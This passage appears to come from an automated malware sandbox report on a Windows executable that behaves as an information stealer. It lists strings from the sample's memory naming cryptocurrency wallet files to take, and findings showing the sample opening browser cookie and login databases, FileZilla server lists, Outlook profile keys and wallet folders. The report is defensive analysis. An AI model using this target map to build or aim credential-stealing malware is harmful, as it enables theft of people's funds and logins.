Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
